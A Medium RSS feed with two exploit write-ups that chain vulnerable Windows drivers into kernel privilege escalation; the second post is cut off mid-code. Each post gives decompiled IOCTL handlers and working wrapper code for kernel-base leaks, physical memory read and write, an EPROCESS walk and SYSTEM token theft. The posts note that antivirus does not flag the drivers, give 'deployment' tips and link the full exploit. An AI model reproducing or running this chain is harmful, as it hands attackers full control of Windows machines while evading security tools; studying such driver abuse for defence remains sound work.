<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Haidermustafa on Medium]]></title>
        <description><![CDATA[Stories by Haidermustafa on Medium]]></description>
        <link>https://medium.com/@haider303mustafa?source=rss-bff4337ffa0a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/0*U2cW9vwoIOlDDa5c</url>
            <title>Stories by Haidermustafa on Medium</title>
            <link>https://medium.com/@haider303mustafa?source=rss-bff4337ffa0a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Wed, 18 Nov 2026 19:41:19 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@haider303mustafa/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Redirt.sys, safezone04.sys, LallaMon.sys & WinRing0.sys: Four Drivers, One Token]]></title>
            <link>https://medium.com/@haider303mustafa/redirt-sys-safezone04-sys-lallamon-sys-winring0-sys-four-drivers-one-token-ca3d5884be05?source=rss-bff4337ffa0a------2</link>
            <guid isPermaLink="false">https://medium.com/p/ca3d5884be05</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[windows]]></category>
            <category><![CDATA[programming]]></category>
            <category><![CDATA[kernel]]></category>
            <dc:creator><![CDATA[Haidermustafa]]></dc:creator>
            <pubDate>Mon, 20 Jul 2026 17:51:04 GMT</pubDate>
            <atom:updated>2026-07-20T17:51:42.978Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*dIQRZnDGDqU4rBqUws_jsQ.png" /></figure><p>Hello Guys back with another exploit :</p><p>The Four Drivers and Their Roles<br>This exploit chains four vulnerable drivers into a complete kernel privilege escalation:</p><p><strong>Redirt — KASLR bypass (IOCTL 0x22601C)</strong> leaks the kernel base address.<br><strong>safezone04 — VA→PA translation (IOCTL 0x228E47)</strong> converts kernel virtual addresses to physical addresses.<br><strong>LallaMon — Physical memory reader (IOCTL 0xa00a2810)</strong> reads arbitrary physical RAM.<br><strong>WinRing0 — Physical memory writer (IOCTL 0x9C40A108)</strong> writes data to arbitrary physical addresses.</p><p>Combined, they provide complete kernel memory access from unprivileged user mode.</p><h3>Virus Total and Loadability on Windows</h3><p>All of these drivers has a VirusTotal of 0 and no Antivirus flags them</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zy6Lof-LDoCSrlU28dHIbw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*PsxhYseGZkD79IpVa00zCw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*sOfY9sv2CSfO1ERfk4IrRw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mydxd1ySx0fbHfPw35YEqw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/434/1*6i3IDwZEpeSTbAMhsWVGmQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/443/1*d09b7qeX_WSzVA5Aq7OgMQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/449/1*bYOb0XIX63F7VKjA1sIaCA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/447/1*iUOmpujp7MlwZNXbVLg_Cg.png" /></figure><p>I used OSR Loader to load these drivers</p><h3>Finding Symblioc Links</h3><p>For finding Symblic Links I will use a Dynamic Approach I will load all of these drivers and then use WinObj inside the GLOBALS?? Section we can find all the devices names</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Tb1rTzm6rQKLiOO-l0lyiQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/965/1*RWFeK1zavBCDyKkCNcKoaw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zqyG5JhEVyPkXBIyAB5aKw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VdFyQ0jlkySvCJD1du5E5w.png" /></figure><h3>Now lets understand the vulnerabilities</h3><h3>KASLR Bypass via Redirt</h3><p>What Is KASLR?<br>Every boot, Windows loads ntoskrnl.exe at a different random base address. This randomization (KASLR) defeats exploits that hardcode kernel addresses.</p><p><strong>The Redirt Driver</strong><br>Redirt’s IOCTL 0x22601C simply returns the kernel base address in a 16‑byte output buffer. No input required—pure information leak.</p><p>The decompiled handler (from Ghidra) shows:</p><pre>case 0x22601C:<br>    if (*(int *)(param_3 + 0x10) == 0x10) {   // output buffer size = 16 bytes<br>        *(DWORD64*)(param_2 + 0x18) = g_kernelBase;   // kernel base<br>        *(DWORD64*)(param_2 + 0x18 + 8) = 0;          // zero high bytes<br>        *(DWORD64*)(param_2 + 0x38) = 0x10;           // bytes returned<br>    }</pre><p>We simply send an empty IOCTL and read back the kernel base. No privileges needed.</p><p>How we Exploit this:</p><pre>int Redirt_GetKernelBase() {<br>    BYTE outBuf[0x10] = {0};<br>    DWORD ret;<br>    DeviceIoControl(hRedirt, 0x22601C, NULL, 0, outBuf, sizeof(outBuf), &amp;ret, NULL);<br>    g_kernelBase = *(DWORD64*)outBuf;<br>    return (g_kernelBase &gt; 0xFFFF000000000000);<br>}</pre><p><strong>What this does:</strong></p><ul><li>Sends an empty IOCTL to Redirt (no input required).</li><li>The driver fills a 16‑byte output buffer with the kernel base address.</li><li>We read the first 8 bytes of that buffer as a 64‑bit address.</li><li>The check &gt; 0xFFFF000000000000 confirms we got a valid kernel address (all Windows kernel VAs are in the high canonical range).</li></ul><p>No input validation, no privilege check — just a raw leak.</p><p>After this, we have g_kernelBase—the starting address(base) of ntoskrnl.exe.</p><h3>VA → PA Translation via safezone04</h3><p>To read kernel structures physically, we must convert their virtual addresses (VAs) to physical addresses (PAs). safezone04 provides exactly this primitive.</p><p>IOCTL 0x228E47 — calls MmGetPhysicalAddress on a user‑supplied pointer and returns the physical address.</p><p>Decompiled handler:</p><pre>case 0x228E47:<br>    if ((*(int *)(lVar5 + 0x10) == 0x10) &amp;&amp; (puVar8 != NULL)) {<br>        // puVar8 points to our 16‑byte buffer:<br>        // offset 0: DWORD64 virtual address<br>        // offset 8: DWORD64 out physical address (written by driver)<br>        *(undefined4 *)(DAT_140004038 + DAT_140004028) = 1;   // lock<br>        uVar4 = MmGetPhysicalAddress(*puVar8);                 // translate<br>        puVar8[1] = uVar4;                                    // store PA<br>        *(undefined4 *)(DAT_140004038 + DAT_140004028) = 0;   // unlock<br>        bVar14 = puVar8[1] == 0;<br>    }</pre><p>Now we can translate any kernel VA to a physical address.</p><p>How we exploit:</p><pre>DWORD64 SafeZone_VaToPa(DWORD64 va) {<br>    DWORD64 buf[2] = { va, 0 };<br>    DWORD ret;<br>    DeviceIoControl(hSafeZone, 0x228E47, buf, sizeof(buf), buf, sizeof(buf), &amp;ret, NULL);<br>    return buf[1];<br>}</pre><p><strong>What this does:</strong></p><ul><li>Packs the virtual address into the first 8 bytes of a 16‑byte buffer.</li><li>Sends the buffer to safezone04. The driver reads the VA, calls MmGetPhysicalAddress, and writes the resulting PA into the second 8 bytes.</li><li>We extract the PA from offset 8 of the same buffer.</li><li>If the translation fails (invalid address), the PA field remains 0.</li></ul><p>We now have a , reliable VA→PA converter without needing a manual page‑table walk.</p><h3>Physical Memory Read via LallaMon</h3><p>LallaMon gives us raw physical read access. It works by mapping the requested physical page with MmMapIoSpace and then copying the data into our output buffer.</p><p>IOCTL 0xa00a2810 — arbitrary physical memory read.</p><p>Decompiled handler (simplified):</p><pre>case 0xa00a2810:<br>    puVar15 = *(ulonglong **)(param_2 + 0x18);   // input buffer<br>    uVar3 = *puVar15;                            // physical address<br>    uVar6 = (uint)puVar15[1];                    // size<br>    // align size to page boundary<br>    if ((uVar6 &amp; 0xfff) != 0)<br>        uVar6 = (uVar6 &amp; 0xfffff000) + 0x1000;<br>    lVar7 = MmMapIoSpace(uVar3 &amp; 0xfffffffffffff000, uVar6, 1);<br>    if (lVar7 != 0) {<br>        // source = mapped address + offset within page<br>        piVar13 = (int *)((ulonglong)(uint)((int)*puVar15 -<br>                         (int)(uVar3 &amp; 0xfffffffffffff000)) + lVar7);<br>        // copy data to user buffer at offset 0xC<br>        FUN_140002040(piVar13, (undefined8 *)((longlong)puVar15 + 0xc),<br>                      (ulonglong)(uint)puVar15[1]);<br>        MmUnmapIoSpace(lVar7, uVar6);<br>    }</pre><p>The driver reads a physical address and size from the first 12 bytes of the input buffer, then copies the requested data into offset 0xC of the same buffer. The output buffer must be large enough to hold the input header plus the data (the driver reports 0x1010 bytes written, so we use that as the buffer size to avoid overflow).</p><p>How we Exploit:</p><pre>int Lalla_PhysRead(DWORD64 pa, void* buf, DWORD size) {<br>    DWORD bufSize = 0x1010;<br>    BYTE* buffer = (BYTE*)calloc(1, bufSize);<br>    *(DWORD64*)(buffer + 0) = pa;<br>    *(DWORD*)(buffer + 8)   = size;<br>    DWORD ret;<br>    BOOL ok = DeviceIoControl(hLalla, 0xa00a2810, buffer, bufSize, buffer, bufSize, &amp;ret, NULL);<br>    if (ok) memcpy(buf, buffer + 0xC, size);<br>    free(buffer);<br>    return ok;<br>}</pre><p>Now we can read any physical memory location.</p><p><strong>What this does</strong> (Lalla_PhysRead):</p><ul><li>Allocates a buffer large enough for the driver’s reported output size (0x1010 bytes) to avoid heap corruption.</li><li>Fills the first 12 bytes with the physical address and read size.</li><li>Sends the IOCTL. The driver maps the physical page, copies the data, and writes it into offset 0xC of the buffer.</li><li>Copies the actual data from offset 0xC into our output buffer.</li><li>Frees the temporary buffer.</li></ul><p>What Lalla_Read64 does:</p><ul><li>A convenience function that calls Lalla_PhysRead with a size of 8 and returns the 8‑byte value directly.</li></ul><p>We now can read any physical address in RAM.</p><h3>Getting the System EPROCESS</h3><p>With KASLR defeated and VA→PA translation ready, we locate the System process EPROCESS structure.</p><p><strong>Compute PsInitialSystemProcess VA</strong><br>The PsInitialSystemProcess global pointer is at a fixed RVA from the kernel base (dynamic per build, we resolve it via LoadLibraryExA on ntoskrnl.exe and GetProcAddress).</p><pre>HMODULE ntos = LoadLibraryExA(&quot;ntoskrnl.exe&quot;, NULL, DONT_RESOLVE_DLL_REFERENCES);<br>DWORD64 psiRVA = (DWORD64)GetProcAddress(ntos, &quot;PsInitialSystemProcess&quot;) - (DWORD64)ntos;<br>FreeLibrary(ntos);<br>DWORD64 psiVA = g_kernelBase + psiRVA;</pre><p><strong>Convert VA to PA</strong> using safezone04 and read the pointer with LallaMon.</p><pre>DWORD64 psiPA = SafeZone_VaToPa(psiVA);<br>DWORD64 sysEproc = Lalla_Read64(psiPA);  // System EPROCESS VA</pre><p><strong>Read the System token </strong>at offset 0x4B8:</p><pre>DWORD64 sysTokenPA = SafeZone_VaToPa(sysEproc + 0x4B8);<br>DWORD64 sysToken = Lalla_Read64(sysTokenPA) &amp; 0xFFFFFFFFFFFFFFF0ULL;</pre><h3>Finding Our Own EPROCESS</h3><p>The kernel keeps all processes linked via ActiveProcessLinks (offset 0x448). We walk this list, checking the PID at offset 0x440 until we match GetCurrentProcessId().</p><pre>DWORD myPid = GetCurrentProcessId();<br>DWORD64 sysPa = SafeZone_VaToPa(sysEproc);<br>DWORD64 flink = Lalla_Read64(sysPa + LINK_OFFSET);<br>DWORD64 curVA = flink - LINK_OFFSET;<br>for (int i = 0; i &lt; 2000; i++) {<br>    DWORD64 curPA = SafeZone_VaToPa(curVA);<br>    if ((DWORD)Lalla_Read64(curPA + PID_OFFSET) == myPid) {<br>        ourEproc = curVA;<br>        break;<br>    }<br>    DWORD64 next = Lalla_Read64(curPA + LINK_OFFSET);<br>    if (next == flink || !next) break;<br>    curVA = next - LINK_OFFSET;<br>}</pre><p>We now have the VA of our own EPROCESS.</p><h3>Physical Write via WinRing0</h3><p>WinRing0 provides an IOCTL for physical memory writes.</p><p>IOCTL 0x9C40A108 — arbitrary physical memory write.</p><p>Decompiled handler (simplified):</p><pre>case 0x9C40A108:<br>    // input buffer layout:<br>    // 0x00: DWORD64 physical address<br>    // 0x08: DWORD   mode (1 = byte mode)<br>    // 0x0C: DWORD   size<br>    // 0x10: data (size bytes)<br>    if (*(DWORD *)(inBuf + 8) == 1) {   // byte mode<br>        puVar4 = MmMapIoSpace(*(DWORD64 *)inBuf, *(DWORD *)(inBuf + 12), 0);<br>        memcpy(puVar4, inBuf + 0x10, *(DWORD *)(inBuf + 12));<br>        MmUnmapIoSpace(puVar4, *(DWORD *)(inBuf + 12));<br>    }</pre><p>The driver maps the physical address, copies the user data to it, and unmaps. Again, no validation.</p><p>How we Exploit :</p><pre>int WR_PhysWrite(DWORD64 pa, void* buf, DWORD size) {<br>    BYTE req[0x10 + 256] = {0};<br>    *(DWORD64*)(req + 0) = pa;<br>    *(DWORD*)(req + 8)   = 1;       // byte mode<br>    *(DWORD*)(req + 12)  = size;<br>    memcpy(req + 0x10, buf, size);<br>    DWORD ret;<br>    return DeviceIoControl(hWR, 0x9C40A108, req, 0x10 + size, NULL, 0, &amp;ret, NULL);<br>}</pre><p><strong>What this does:</strong></p><ul><li>Builds an input buffer with a 16‑byte header (PA, mode, size) followed by the actual data.</li><li>The mode 1 selects &quot;byte mode&quot; for the write.</li><li>Sends the buffer to WinRing0. The driver maps the physical address, copies the user data from offset 0x10 into the mapped memory, and unmaps.</li><li>No output buffer needed — the write is one‑way.</li></ul><p>This is the final primitive: we can overwrite any byte in physical memory, including kernel structures.</p><h3>Stealing the Token</h3><p>With all primitives ready:</p><ol><li>Compute the physical address of our token field:<br>DWORD64 ourTokenPA = SafeZone_VaToPa(ourEproc + TOKEN_OFFSET);</li><li>Overwrite it with the System token:<br>WR_PhysWrite(ourTokenPA, &amp;sysToken, 8);</li><li>Spawn a SYSTEM shell:<br>system(&quot;cmd.exe&quot;);</li></ol><p>The child shell inherits the forged token and runs with full SYSTEM privileges.</p><h3>Full Exploit</h3><p>All wrappers are combined into a single main() following the exact same style as the old exploits. The complete source is available on GitHub.</p><p>Thats all.</p><p>Full Exploit Code: <a href="https://github.com/Haider303/Four-driver-one-token/">https://github.com/Haider303/Four-driver-one-token/</a><br>Demo Video:<a href="https://youtu.be/_nsY2Nki6jc">https://youtu.be/_nsY2Nki6jc</a></p><p>Remember: load all four drivers before running the exploit. For educational purpose only.</p><p>Peace!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=ca3d5884be05" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[TEACCESS.sys + ADV64DRV.sys + PhyMem.sys: KASLR Bypass to SYSTEM Token Theft]]></title>
            <link>https://medium.com/@haider303mustafa/teaccess-sys-adv64drv-sys-phymem-sys-kaslr-bypass-to-system-token-theft-69441310b7f4?source=rss-bff4337ffa0a------2</link>
            <guid isPermaLink="false">https://medium.com/p/69441310b7f4</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[reverse-engineering]]></category>
            <category><![CDATA[hacking]]></category>
            <category><![CDATA[exploit-development]]></category>
            <dc:creator><![CDATA[Haidermustafa]]></dc:creator>
            <pubDate>Tue, 14 Jul 2026 19:23:00 GMT</pubDate>
            <atom:updated>2026-07-14T19:23:00.390Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0M8FoV4NsLG1pJ8LaxSXrQ.png" /></figure><p>Hello Guys back with another exploit lets start :</p><h3>The Three Drivers and Their Roles</h3><p>This exploit chains three vulnerable drivers into a complete kernel privilege escalation:</p><p><strong>TEACCESS</strong>. Exposes two critical IOCTLs:</p><ul><li>0x222140 — <strong>MSR Read</strong> (rdmsr instruction). Reads any CPU Model-Specific Register, including the LSTAR register that holds the kernel&#39;s system call handler address.</li><li>0x2220C0 — <strong>VA→PA Translation</strong> (MmGetPhysicalAddress). Converts virtual addresses to physical addresses.</li></ul><p><strong>ADV64DRV</strong> — The physical memory <strong>reader</strong>. Takes a physical address and returns the data at that location. Provides raw access to all RAM.</p><p><strong>PhyMem</strong> — The physical memory <strong>writer</strong>. Maps a physical address directly into user-mode virtual space, exposing kernel RAM as a writable user-mode pointer.</p><p>Combined, they provide complete kernel memory access from unprivileged user mode.</p><h3>Virus Total and Loadability on Windows</h3><p>All of these drivers has a VirusTotal of 0 so no Antivirus flags it</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3_CROA-_6ylfwNsG9FGVUA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9c16IxYogojppNYc8CR_4A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*H67y0-cAYixbCQBiTv9I6Q.png" /></figure><p>They also load Easily on Windows</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/452/1*1EmhbBXp9f209QruVolUyA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/1*VSasPzq0jJwXYYLlo8YquA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/444/1*Jk77oqVkDeVoGjnzBFXHlg.png" /></figure><p>I am using OSR loader Btw to register and run these</p><h3>Finding Symblioc Links</h3><p>For finding Symblic Links I will use a Dynamic Approach I will load all of these drivers and then use WinObj inside the GLOBALS?? Section we can find all the devices names</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1001/1*HSo9ypO5zsoEr7elp2QpPg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/986/1*7C47rjY3z4nNO1hjV0LPEw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/999/1*Bmr9nl5qoEhejPlcyqTrvw.png" /></figure><p>Now lets understand the vulnerabilities</p><h3>KASLR Bypass via MSR Read</h3><h3>What Is KASLR?</h3><p>Every boot, Windows loads ntoskrnl.exe at a different random base address. This randomization (KASLR) defeats exploits that hardcode kernel addresses.</p><p>Some KASLR bypass methods:</p><ul><li><strong>EnumDeviceDrivers</strong> / <strong>NtQuerySystemInformation</strong> — Now zeroed or require admin on modern Windows</li><li><strong>Kernel pointer leaks</strong> — Hope a driver accidentally returns a kernel VA in a structure</li><li><strong>Page table walking</strong> — Slow, requires already having a read primitive</li></ul><h3>The LSTAR MSR — A Hardware Constant</h3><p>Every x86–64 CPU has a Model-Specific Register (MSR) called <strong>LSTAR</strong> with index 0xC0000082. This register is set once during Windows boot and <strong>never changes for that boot</strong>.</p><p><strong>LSTAR contain t</strong>he virtual address of KiSystemCall64 — the kernel function that handles every system call (syscall instruction) made by user-mode processes.</p><p><strong>Why is this valuable for KASLR bypass?</strong></p><p>The distance between KiSystemCall64 and the start of ntoskrnl.exe (kernel base)is <strong>constant and fixed per Windows build</strong>. It never changes, just like offsets within the kernel binary.</p><p>If you know:</p><ul><li>LSTAR value (leaked from the CPU register)</li><li>KiSystemCall64 offset from kernel base (from symbols, build-specific constant)</li></ul><p>Then:</p><pre>KernelBase = LSTAR - KiSystemCall64_Offset</pre><h3>Reading LSTAR via TEACCESS</h3><p>TEACCESS’s IOCTL 0x222140 executes the rdmsr instruction with an MSR index you provide . Here’s the Conceptual decompiled code from Ghidra showing TEACCESS’s MSR read IOCTL:</p><pre>case 0x222140: {<br>    // Check input buffer size<br>    if ((*(int *)(lVar2 + 0x10) == 4) || (*(int *)(lVar2 + 0x10) == 8)) {<br>        <br>        // Read the user-supplied MSR index from input buffer<br>        DWORD msrIndex = *(DWORD *)*(DWORD64 **)(param_2 + 0x18);<br>        <br>        // Execute rdmsr instruction with user-controlled index<br>        DWORD64 msrValue = rdmsr(msrIndex);<br>        <br>        // Write result back to user buffer<br>        **(DWORD64 **)(param_2 + 0x18) = msrValue;<br>        <br>        // Mark success (8 bytes returned)<br>        *(DWORD64 *)(param_2 + 0x38) = 8;<br>    }<br>    else {<br>        // Input size invalid<br>        goto LAB_00011660;  // Error handling<br>    }<br>}</pre><p>First thing is Size Check</p><pre>if ((*(int *)(lVar2 + 0x10) == 4) || (*(int *)(lVar2 + 0x10) == 8))</pre><p>Validates that the input buffer is either 4 or 8 bytes. This is the <strong>only validation</strong> in the entire handler.</p><p>Then Extract MSR Index</p><pre>DWORD msrIndex = *(DWORD *)*(DWORD64 **)(param_2 + 0x18);</pre><p>Reads the user-supplied MSR index directly from the input buffer. <strong>No range checking. No verification.</strong></p><p>Then Execute rdmsr</p><pre>DWORD64 msrValue = rdmsr(msrIndex);</pre><p>Executes the CPU’s rdmsr (read MSR) instruction with the user-controlled index. This reads <strong>any Model-Specific Register the user requests</strong>.</p><p>Then Returns to Caller</p><pre>**(DWORD64 **)(param_2 + 0x18) = msrValue;</pre><p>Writes the MSR value back to the user’s buffer. The user now has the raw register value.</p><p>So an unprivileged user-mode process can:</p><ol><li><strong>Read LSTAR</strong> (0xC0000082) → Leak kernel base (KASLR defeat)</li><li><strong>Read IA32_LMCE_ADDR</strong> → Physical memory information leaks</li><li><strong>Read IA32_DEBUG_INTERFACE</strong> → Debug state leaks</li><li><strong>Read any other MSR</strong> — Potential side-channel attacks, covert channels, system enumeration</li></ol><p><strong>In this exploit, we only use LSTAR. But the vulnerability exposes much more.</strong></p><h3>For Obtaining LSTAR_OFFSET</h3><p>This value changes per Windows build:</p><p>Load ntoskrnl.exe without executing it:</p><pre>HMODULE ntos = LoadLibraryExA(&quot;ntoskrnl.exe&quot;, NULL, DONT_RESOLVE_DLL_REFERENCES);</pre><p>OR Use WinDbg or radare2 to find KiSystemCall64:</p><pre>WinDbg: ? nt!KiSystemCall64 - nt</pre><p>And Hardcode the offset for your target build:</p><pre>#define LSTAR_OFFSET 0x411000  // Windows 10 22H2 build XXXXX</pre><p>For deployment, you’d either:</p><ul><li>Build a table of offsets (one per known Windows build)</li><li>Query the OS version at runtime and select the appropriate offset</li></ul><h3>Finding System EPROCESS</h3><p>Once you have the kernel base, locate the EPROCESS structure of the System process (PID 4).</p><pre>DWORD64 psiVA = g_kernelVA + PSINITIALSYSTEMPROCESS_RVA;<br>DWORD64 psiPA = TE_VaToPa(psiVA);<br>DWORD64 sysEproc = ADV_Read64(psiPA);</pre><h3>Locate PsInitialSystemProcess</h3><p>PsInitialSystemProcess is a global pointer in ntoskrnl.exe pointing to the System process&#39;s EPROCESS structure. Its <strong>Relative Virtual Address (RVA)</strong> from the kernel base is fixed per build (e.g., 0xCFC420 on Windows 10 22H2).</p><h3>Convert VA to PA</h3><p>For VA to PA conversion we use another IOCTL from TEACCESS Driver</p><h4>TEACCESS IOCTL 0x2220C0 — Virtual-to-Physical Address Translation</h4><p>The Decompiled Handler</p><pre>// IOCTL 0x2220C0 handler<br>if (uVar11 != 0x2220c0) goto LAB_00011613;               // not this IOCTL<br><br>// Check sizes: InputBufferLength == 8, OutputBufferLength &gt; 7<br>if ((*(int *)(lVar2 + 0x10) == 8) &amp;&amp; (7 &lt; *(uint *)(lVar2 + 8))) {<br>    <br>    // Read virtual address from user buffer<br>    puVar6 = *(undefined8 **)(param_2 + 0x18);   // SystemBuffer pointer<br>    uVar12 = MmGetPhysicalAddress(*puVar6);      // Convert VA → PA<br>    <br>    // Write physical address back to user buffer<br>    *puVar6 = uVar12;                            // Overwrite the VA with PA<br>    <br>    goto LAB_000113ae;                           // Success, return 8 bytes<br>}<br><br></pre><p>The First thing this code does is IOCTL Code Check</p><pre>if (uVar11 != 0x2220c0) goto LAB_00011613;</pre><p>Then a Buffer Size Validation</p><pre>if ((*(int *)(lVar2 + 0x10) == 8) &amp;&amp; (7 &lt; *(uint *)(lVar2 + 8)))</pre><p>The only validation in the handler:</p><ul><li>Input buffer must be exactly 8 bytes (to hold a 64-bit virtual address)</li><li>Output buffer must be at least 8 bytes (to return a 64-bit physical address)</li></ul><p>Then Extract Virtual Address</p><pre>puVar6 = *(undefined8 **)(param_2 + 0x18);<br>uVar12 = MmGetPhysicalAddress(*puVar6);</pre><ul><li>param_2 + 0x18 is the SystemBuffer – the user&#39;s input data</li><li>The driver blindly reads 8 bytes from this buffer and treats it as a virtual address</li><li>MmGetPhysicalAddress walks the CPU&#39;s page tables and returns the corresponding physical address</li></ul><p>Then at last it Return Physical Address</p><pre>*puVar6 = uVar12;</pre><h3>How we Exploit it :</h3><pre>DWORD64 TE_VaToPa(DWORD64 va) {<br>    BYTE inBuf[8] = {0};<br>    *(DWORD64*)inBuf = va;<br>    DWORD64 pa = 0;<br>    DeviceIoControl(hTE, 0x2220C0, inBuf, 8, &amp;pa, 8, NULL, NULL);<br>    return pa;<br>}</pre><ol><li>Takes any virtual address — user or kernel, we control it.</li><li>Packs it into an 8‑byte buffer and sends it to the driver via DeviceIoControl.</li><li>The driver calls MmGetPhysicalAddress on that address, walking the CPU’s page tables to find the real physical memory location.</li><li>The driver writes the resulting physical address back into the same buffer.</li><li>We read that physical address and return it.</li></ol><h3>Read the Pointer</h3><h4>ADV64DRV IOCTL 0x224004 — Arbitrary Physical Memory Read</h4><p>ADV64DRV reads the physical address and returns the pointer value — the virtual address of System’s EPROCESS:</p><pre>DWORD64 sysEproc = ADV_Read64(psiPA);<br>// sysEproc is now a kernel VA like 0xFFFFB70012345000</pre><p>Lets see the Decompiled Handler</p><pre>// IOCTL dispatch<br>case 0x224004:<br>    FUN_00011040(DeviceExtension, Irp, IoStackLocation);<br><br>// The actual handler<br>undefined8 FUN_00011040(undefined8 param_1, longlong param_2, longlong param_3)<br>{<br>    uint uVar1;<br>    undefined8 *puVar2;<br>    char cVar3;<br>    undefined8 *puVar4;<br>    ulonglong uVar5;<br>    undefined4 local_res18[2];<br>    undefined4 local_28;<br>    undefined4 uStack_24;<br><br>    local_res18[0] = 0;<br><br>    // 1. Check minimum input buffer size (0x10 = 16 bytes)<br>    if (*(uint *)(param_3 + 0x10) &lt; 0x10)  // InputBufferLength &lt; 16<br>        return 0xc0000023;                  // STATUS_BUFFER_TOO_SMALL<br><br>    puVar2 = *(undefined8 **)(param_2 + 0x18);   // SystemBuffer<br><br>    // 2. Read &quot;size&quot; from input buffer at offset +8<br>    uVar1 = *(uint *)(puVar2 + 1);              // size (DWORD at offset 8? Actually at +4)<br>    uVar5 = (ulonglong)uVar1;<br>    if (uVar1 == 0)<br>        return 0xc000000d;                      // STATUS_INVALID_PARAMETER<br><br>    // 3. Check output buffer is large enough for the requested size<br>    if (*(uint *)(param_3 + 8) &lt; uVar1)        // OutputBufferLength &lt; size<br>        return 0xc0000023;<br><br>    // 4. Read bus address from input buffer at offset +0<br>    local_28 = *(undefined4 *)puVar2;           // low 32 bits of bus address<br>    uStack_24 = (undefined4)((ulonglong)*puVar2 &gt;&gt; 0x20); // high 32 bits<br><br>    // 5. Translate bus address → physical address (hardware‑dependent)<br>    cVar3 = HalTranslateBusAddress(1, 0,<br>              CONCAT44(uStack_24, local_28),    // 64‑bit bus address<br>              local_res18,<br>              &amp;local_28);                       // output physical address<br><br>    if (cVar3 == &#39;\0&#39;)                         // translation failed<br>        return 0x107;                           // STATUS_DEVICE_BUSY<br><br>    // 6. Map the physical address into kernel space<br>    puVar4 = (undefined8 *)MmMapIoSpace(<br>                 CONCAT44(uStack_24, local_28), // physical address<br>                 uVar5,                         // size<br>                 0);                            // MmNonCached<br><br>    // 7. Copy data FROM mapped memory TO user buffer<br>    FUN_000115a0(puVar2, puVar4, uVar5);        // memcpy(puVar2, puVar4, size)<br><br>    // 8. Unmap and return size<br>    MmUnmapIoSpace(puVar4, uVar5);<br>    *(ulonglong *)(param_2 + 0x38) = uVar5;      // bytes returned<br>    return 0;<br>}</pre><p>The first thing this code does is Minimum Input Size</p><pre>if (*(uint *)(param_3 + 0x10) &lt; 0x10) return STATUS_BUFFER_TOO_SMALL;</pre><p>Ensures the user provided at least 16 bytes of input. The input structure must hold a 64‑bit bus address and a size value.</p><p>Then ot Reads Size</p><pre>uVar1 = *(uint *)(puVar2 + 1);   // size at offset +8? Actually from the decompiler it looks like +4</pre><p>Extracts the requested read size from the user buffer. The buffer layout is: [bus_addr (8 bytes)] [size (4 bytes)] [padding]. The decompiler shows puVar2 + 1 meaning offset 8, but the structure is likely offset 0 for bus address, offset 8 for size. In either case, the size is fully user‑controlled.</p><p>Then there is a Output Buffer Size Check</p><pre>if (*(uint *)(param_3 + 8) &lt; uVar1) return STATUS_BUFFER_TOO_SMALL;</pre><p>Checks that the output buffer (where the result will go) is large enough to hold the requested amount of data.</p><p>Then it reads the Bus Address</p><pre>local_28 = *(undefined4 *)puVar2;           // low 32 bits<br>uStack_24 = (undefined4)((ulonglong)*puVar2 &gt;&gt; 0x20);  // high 32 bits</pre><p>Re‑assembles the 64‑bit bus address from the first 8 bytes of the input buffer. The address comes directly from the user — no validation, no filter.</p><p>Then it does a Hardware Address Translation</p><pre>cVar3 = HalTranslateBusAddress(1, 0, busAddress, &amp;context, &amp;physAddress);</pre><p>HalTranslateBusAddress converts a device‑specific bus address into a physical address. The first parameter 1 indicates bus type 1 (PCI bus). On this Dell Optiplex, bus address 0x1000 translates directly to physical 0x1000 — a passthrough.</p><p>Then it Maps Physical Memory</p><pre>puVar4 = MmMapIoSpace(physAddress, size, MmNonCached);</pre><p>Maps the physical memory into kernel virtual space so the driver can read from it.</p><p>Then Copies Data Out</p><pre>FUN_000115a0(puVar2, puVar4, uVar5);   // memcpy(userBuffer, mappedMemory, 